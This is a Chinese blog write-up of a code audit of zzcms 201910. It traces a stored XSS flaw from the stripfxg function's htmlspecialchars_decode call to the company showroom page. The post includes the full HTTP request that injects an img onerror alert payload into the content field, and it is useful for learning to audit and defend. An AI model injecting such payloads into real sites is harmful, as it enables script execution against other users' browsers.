代码审计学习—zzcms存储型xss

代码审计学习—zzcms存储型xss

版本:zzcms 201910

本地搭建网站

漏洞位置:

网站/inc/function.php

在stripfxg函数中,存在使用方法 htmlspecialchars_decode($string),对htmlspecialchars ($string) 过滤(所有传入参数都进行了过滤)后的参数进行解码,导致可能存在xss漏洞。

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠 
$string=stripslashes($string); 
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string); }
if ($nl2br==true){
$string=nl2br($string);
}
return $string; }

由stripfxg函数可知,当函数被调用,且第二个参数$htmlspecialchars_decode为true时,htmlspecialchars_decode() 方法被调用。

查找stripfxg函数被调用的地方:

在 /zt/show.php 找到stripfxg函数被调用,且$htmlspecialchars_decode=true

 

扫描二维码关注公众号,回复: 11378966 查看本文章

返回值在此页面打印输出;show.php页面是一个展示页面(注册后发现是‘公司展厅页面’,可能触发xss)

查找stripfxg 函数第一个参数 $contert 来源

在show.php 包含文件 top.php 找到了参数 $contert

 

通过分析代码发现 content  是用户表中的一个字段

zt/top.php

 

查看数据库发现确实存在 content 字段

 

然后考虑如何可以通过修改 zzcms_user 表来控制修改 content字段

继续查找,发现

在admin/usermodify.php 找到 content 字段修改的sql语句

 

向上查找分析修改语句条件

 

即在用户进行信息修改时可控制content 参数

验证:

注册

注测公司/个人用户;公司用户直接访问公司展厅页面触发xss(个人用户通过构造id进入展厅页面 show.php)

 

 

 

修改个人信息 控制 content参数

 

 

抓包,修改content参数:

 

POST /user/manage.php?action=modify&a=siteconfig.php HTTP/1.1

Host: www.zzcms.com

Content-Length: 384

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://www.zzcms.com

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://www.zzcms.com/user/manage.php

Accept-Language: zh-CN,zh;q=0.9

Cookie: bdshare_firstime=1591108514281; __51cke__=; PHPSESSID=qeumh4nf9hi81d2mn5gv4lu4aj; UserName=root;

PassWord=63a9f0ea7bb98050796b649e85481845; __tins__713776=%7B%22sid%22%3A%201591687530623%2C%20%22vd%22%3A%209%2C%20%22

expires%22%3A%201591689665881%7D; __51laig__=9

Connection: close

somane=%E7%8E%8B%E4%BC%9F&sex=0&email=111%40qq.com&qq=&oldqq=&mobile=&Submit2=%E4%BF%AE%E6%94%B9&b=0&s=0

&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA

&xiancheng=&address=&homepage=&phone=18899999999&fox=&content=%26nbsp%3B&img=%2Fimage%2Fnopic.gif&oldimg=%2Fimage%2Fnopic.gif&flv=&oldflv=

&content=<img+src=x+onerror=alert`1`>

 

访问展厅页面:

 

数据已存储在数据库中:

 

猜你喜欢

转载自www.cnblogs.com/suiyz/p/13199132.html